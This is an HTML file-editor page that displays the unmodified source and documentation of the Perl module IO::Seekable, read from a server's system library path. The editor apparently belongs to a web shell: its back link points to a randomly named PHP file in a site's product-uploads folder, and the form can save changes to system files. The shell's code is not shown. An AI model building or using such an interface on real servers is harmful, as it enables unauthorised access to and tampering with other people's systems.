<h2>Edit File - Seekable.pm</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/lib64/perl5/IO/Seekable.pm">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">#

package IO::Seekable;

=head1 NAME

IO::Seekable - supply seek based methods for I/O objects

=head1 SYNOPSIS

    use IO::Seekable;
    package IO::Something;
    @ISA = qw(IO::Seekable);

=head1 DESCRIPTION

C&lt;IO::Seekable&gt; does not have a constructor of its own as it is intended to
be inherited by other C&lt;IO::Handle&gt; based objects. It provides methods
which allow seeking of the file descriptors.

=over 4

=item $io-&gt;getpos

Returns an opaque value that represents the current position of the
IO::File, or C&lt;undef&gt; if this is not possible (eg an unseekable stream such
as a terminal, pipe or socket). If the fgetpos() function is available in
your C library it is used to implements getpos, else perl emulates getpos
using C&#039;s ftell() function.

=item $io-&gt;setpos

Uses the value of a previous getpos call to return to a previously visited
position. Returns &quot;0 but true&quot; on success, C&lt;undef&gt; on failure.

=back

See L&lt;perlfunc&gt; for complete descriptions of each of the following
supported C&lt;IO::Seekable&gt; methods, which are just front ends for the
corresponding built-in functions:

=over 4

=item $io-&gt;seek ( POS, WHENCE )

Seek the IO::File to position POS, relative to WHENCE:

=over 8

=item WHENCE=0 (SEEK_SET)

POS is absolute position. (Seek relative to the start of the file)

=item WHENCE=1 (SEEK_CUR)

POS is an offset from the current position. (Seek relative to current)

=item WHENCE=2 (SEEK_END)

POS is an offset from the end of the file. (Seek relative to end)

=back

The SEEK_* constants can be imported from the C&lt;Fcntl&gt; module if you
don&#039;t wish to use the numbers C&lt;0&gt; C&lt;1&gt; or C&lt;2&gt; in your code.

Returns C&lt;1&gt; upon success, C&lt;0&gt; otherwise.

=item $io-&gt;sysseek( POS, WHENCE )

Similar to $io-&gt;seek, but sets the IO::File&#039;s position using the system
call lseek(2) directly, so will confuse most perl IO operators except
sysread and syswrite (see L&lt;perlfunc&gt; for full details)

Returns the new position, or C&lt;undef&gt; on failure.  A position
of zero is returned as the string C&lt;&quot;0 but true&quot;&gt;

=item $io-&gt;tell

Returns the IO::File&#039;s current position, or -1 on error.

=back

=head1 SEE ALSO

L&lt;perlfunc&gt;, 
L&lt;perlop/&quot;I/O Operators&quot;&gt;,
L&lt;IO::Handle&gt;
L&lt;IO::File&gt;

=head1 HISTORY

Derived from FileHandle.pm by Graham Barr E&lt;lt&gt;gbarr@pobox.comE&lt;gt&gt;

=cut

use 5.006_001;
use Carp;
use strict;
our($VERSION, @EXPORT, @ISA);
use IO::Handle ();
# XXX we can&#039;t get these from IO::Handle or we&#039;ll get prototype
# mismatch warnings on C&lt;use POSIX; use IO::File;&gt; :-(
use Fcntl qw(SEEK_SET SEEK_CUR SEEK_END);
require Exporter;

@EXPORT = qw(SEEK_SET SEEK_CUR SEEK_END);
@ISA = qw(Exporter);

$VERSION = &quot;1.10&quot;;
$VERSION = eval $VERSION;

sub seek {
    @_ == 3 or croak &#039;usage: $io-&gt;seek(POS, WHENCE)&#039;;
    seek($_[0], $_[1], $_[2]);
}

sub sysseek {
    @_ == 3 or croak &#039;usage: $io-&gt;sysseek(POS, WHENCE)&#039;;
    sysseek($_[0], $_[1], $_[2]);
}

sub tell {
    @_ == 1 or croak &#039;usage: $io-&gt;tell()&#039;;
    tell($_[0]);
}

1;
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/uploads/products/others/6a3fbcc2deec3_65.php?dir=." class="btn gray">Kembali</a>
              </form>